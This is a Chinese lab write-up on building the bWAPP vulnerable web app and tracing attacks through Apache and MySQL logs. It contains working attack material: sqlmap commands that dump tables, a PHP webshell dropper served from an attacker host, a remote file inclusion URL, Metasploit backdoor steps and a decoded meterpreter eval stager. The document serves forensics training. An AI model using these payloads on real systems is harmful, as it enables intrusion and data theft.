bWAPP靶场搭建及网站日志溯源实验

bWAPP靶场搭建

bWAPP靶场简介

bWAPP，或称为“buggy Web Application”，是一个开源的、故意设计有漏洞的Web应用程序。它用于教育和训练安全性测试的目的，提供了一个安全的环境来实践和提高Web应用程序渗透测试的技能。bWAPP涵盖了各种Web应用程序安全漏洞，包括所有的OWASP Top 10漏洞，以及其他许多常见的安全问题，如SQL注入、XSS（跨站脚本攻击）、CSRF（跨站请求伪造）、XML注入等。

安装phpstudy

phpstudy没什么好说的，基本上学习WEB都需要用到

这里就放一个下载链接：https://www.xp.cn/

下载bWAPP靶场

bWAPP下载地址：https://sourceforge.net/projects/bwapp/

需要注意的是，SourceForge网站会提示该文件包含病毒，需要我们额外手动点击DOWNLOAD链接

设置数据库

将bWAPP靶场的源码bWAPP文件夹放在phpstudy的WWW目录下

在bWAPP/admin目录下找到settings.php配置文件

打开后修改其中的数据库用户名和密码

在首页中启动MySQL和Apache服务

进入网站栏，点击创建网站

域名使用本地地址localhost即可

根目录设置为bWAPP文件夹的路径

最后点击创建数据库

这里数据库的名称、用户名和密码与刚刚配置文件中的内容同步

打开浏览器，访问http://localhost/login.php进入靶场首页，访问成功

bWAPP默认使用的是sqlite数据库，所以需要将其中的数据导入到搭建的MySQL数据库中

打开Navicat软件，首先连接上phpstudy的MySQL数据库

其中有刚刚创建的bwapp库，不过里面没有任何表

接下来找到bwapp自带的数据库，位于bWAPP/db目录下

将Sqlite的main库中的数据表依次复制到MySQL中

进入自动传输界面，将每个表都勾上

切换PHP版本（重要）

由于bwapp这个靶场年代久远，很多关卡需要旧版本PHP才能部署，所以需要在网站设置中切换PHP版本，这里设置为PHP5.5.9（PHP7以前的版本基本都可以）

登录靶场

访问http://localhost/login.php，回到登录页面，输入默认用户名bee和密码bug

成功进入靶场

定位日志位置

在phpstudy搭建的靶场环境中，需要主要关注Apache和MySQL的日志文件，因为这些日志能够记录下网站访问信息、错误信息以及数据库操作信息，是分析攻击行为和手段的关键数据。

Apache日志文件

对于Apache服务器，日志文件主要分为访问日志和错误日志。在phpstudy环境下，这些日志文件通常位于：

访问日志：[phpStudy安装路径]\Apache\logs\access.log
错误日志：[phpStudy安装路径]\Apache\logs\error.log

访问日志记录了所有对网站的请求，包括请求的URL、请求时间、客户端IP等信息。通过分析访问日志，可以追踪攻击者的访问路径和尝试的攻击类型。错误日志则记录了网站运行过程中的错误信息，对于分析攻击是否成功以及确定攻击导致的具体错误非常有用。

开启请求体记录

mod_dumpio模块会记录所有Apache接收到的请求数据和输出的响应数据

找到Apache的配置文件，默认路径通常为apache\conf\httpd.conf

用记事本打开并定位到下面这行设置，取消它的注释

在最后一行添加DumpIOInput On，仅开启对请求数据的完整记录

同时，为了输出到日志文件中，需要确保LogLevel改为trace7

重启Apache服务器

MySQL日志文件

MySQL的日志可以帮助我们跟踪数据库查询操作，对于分析SQL注入攻击尤为重要。在phpstudy环境下，MySQL的错误日志通常位于：

[phpStudy安装路径]\MySQL\data\[服务器名称].err

开启通用查询日志

除了基本的错误日志，MySQL还可以开启通用查询日志

通用查询日志记录了数据库接收到的每一个指令，包括SQL语句

找到MySQL的配置文件，通常是my.cnf或my.ini，位置根据操作系统和MySQL版本而异

在[mysqld]节中添加如下语句

1
2
3

[mysqld]
general_log = 1
general_log_file = /path/to/your/logfile.log

日志的位置general_log_file视方便来设置，可以直接设在MySQL根目录下，即[phpStudy安装路径]\MySQL

重启MySQL服务，进入MySQL/bin目录下打开终端，连接到靶场的mysql数据库

回到根目录，使用记事本打开日志文件，可以看到刚刚的登录信息被记录下来

我们再测试一条SQL语句Show databases;

回到日志文件，刚刚的SQL查询语句已经被记录下来

SQL注入

实施攻击

SQL注入的关卡选择布尔盲注这关，即SQL Injection - Blind - Boolean-Based，因为布尔盲注的注入过程和SQL语句具有明显的步骤特征，适合进行日志分析溯源

首先收集关卡的信息，关卡页面中只有数据库查询功能

使用R1ck' or 1=1 --判断注入点

并没有返回具体数据，而是返回一个布尔值，非常符合布尔盲注的条件

因为后续对该攻击过程的日志分析更加重要，这里就不进行手动注入了

直接使用自动工具sqlmap进行布尔盲注，执行如下指令(由于使用的是kali虚拟机上的sqlmap，localhost替换成主机的内网IP)

1	sqlmap -u "172.29.82.96/sqli_4.php?title=t&action=search" --cookie "security_level=0; PHPSESSID=844c9m2j6bd5r8mmhqftrnaip7" --dbs --technique=B --risk=2 --level=2

使用technique选项来指定攻击类型为布尔盲注

由于该靶场需要登录，在浏览器中找到该靶场的cookie，放在cookie选项后

需要注意的是，该页面除了title这个注入点，还需要设置action参数为search后才能搜索

得到数据库后，开始爆破bwapp库中的数据表，执行如下指令

1	sqlmap -u "172.29.82.96/sqli_4.php?title=t&action=search" --cookie "security_level=0; PHPSESSID=844c9m2j6bd5r8mmhqftrnaip7" -D bwapp --tables --technique=B --risk=2 --level=2

选择本关使用的movies数据表，爆破出其中的数据（包括爆破字段名和具体数据项）

1	sqlmap -u "172.29.82.96/sqli_4.php?title=t&action=search" --cookie "security_level=0; PHPSESSID=844c9m2j6bd5r8mmhqftrnaip7" -T movies --dump --technique=B --risk=2 --level=2

得到movies数据表下的所有数据项，这里可以看作本关卡攻击成功

日志分析

实施完攻击后，查看生成的数据库日志

攻击者（这里是sqlmap）的SQL语句存在很强的布尔盲注特征

首先sqlmap向数据库注入一些常规的语句，用来确定数据库的类型或版本，同时探测数据库的特定特性或漏洞。

例如AND 2892=(SELECT (CASE WHEN ((SELECT TDESENCRYPT(NULL,NULL)) IS NULL) THEN 2892 ELSE (SELECT 2745 UNION SELECT 9850) END))这一句

该SQL语句尝试调用TDESENCRYPT函数，这是一个数据库特定的加密/解密函数，通过这种方式，攻击者试图确定数据库是否支持此函数，从而推测数据库类型。

像Sybase ASE和 Microsoft SQL Server数据库都使用TDE来加密存储在数据库中的数据

而下图中的的这些语句则通过爆破VERSION()等函数来确定数据库的版本

在确认数据库类型之后，sqlmap开始针对性地进行布尔盲注攻击

靶场的数据库为MySQL，所以sqlmap利用MySQL支持的INFORMATION_SCHEMA数据库来爆破出靶场数据库中存在的库

当然，在爆破每个字符串时，sqlmap也存在一些特征，可以从日志中分析出来

sqlmap使用了二分法来确认每个字符的chr值，这样相比于常规的一个值一个值进行比对要快得多

整个脱库的过程遵循着爆破数据库、爆破数据表、爆破字段名、爆破具体数据项的步骤

远程文件包含

打开远程文件包含配置

进入phpstudy的设置>配置文件栏，点击使用的php版本

找到allow_url_include这项配置，将Off改为On

重启Apache服务器

实施攻击

本关卡使用kali虚拟机来模拟攻击机，将一句话木马写到hack.jpg文件中

文件内容如下，注意内层的key用了单引号，外层代码需要用双引号包裹

<?php
    $code = "<?php eval($_POST[\'R1ck\']); ?>";
    fputs(fopen("shell2024.php", "w"), $code);
?>

接下来检查kali虚拟机中是否安装了Apache服务器，执行apache2 -v

成功返回版本信息，说明kali中已经安装Apache服务器

Apache的默认Web根目录通常位于/var/www/html，将刚刚构造的木马文件放于该目录下

执行sudo systemctl start apache2来启动Apache服务器

此时在主机上测试是否能访问到kali虚拟机构建的服务器下的文件

在浏览器中访问172.29.74.233/hack.jpg，发现浏览器以图片形式加载了该木马文件，说明远程服务器可以连接

在kali攻击机的浏览器中输入http://172.29.82.96/rlfi.php?language=http://172.29.74.233/hack.jpg&action=go来利用远程文件包含漏洞

使用kali中的Metasploit来连接到包含的远程文件中的一句话木马

执行msfconsole进入控制台

执行use exploit/multi/http/caidao_php_backdoor_exec，使用其中自带的中国菜刀工具

PASSWORD即注入点，设置为R1ck

URI设置为生成的webshell后门/shell2024.php

设置RHOST为靶机IP

执行exploit

执行几个远程指令测试一下，例如ls ..，成功输出上层目录下的文件

执行sysinfo输出靶机的系统信息

日志分析

在访问日志access.log中，能够找到一开始利用远程文件包含的请求

接下来攻击者连接后门并远程执行指令的过程都记录在error.log中

观察dumpio模块记录在error.log中的日志，整个攻击过程都是通过http请求完成的

meterpreter工具将自身伪装为IPAD设备，同时发送的远程命令使用了base64编码来加密

选择一句加密后的命令，丢到cyberchef中，先解一层url编码，然后是base64编码

这段传输的PHP代码是一个典型的远程代码执行（RCE）载荷

error_reporting(0);用于禁用错误报告，使得在执行过程中不显示任何错误信息，增加了代码的隐蔽性。

后面这段PHP代码的允许它接收并执行来自攻击者的任何PHP代码

if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
    switch ($s_type) {
        case 'stream':
            $b .= fread($s, $len-strlen($b));
            break;
        case 'socket':
            $b .= socket_read($s, $len-strlen($b));
            break;
    }
}
...
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    $suhosin_bypass=create_function('', $b);
    $suhosin_bypass();
} else {
    eval($b);
}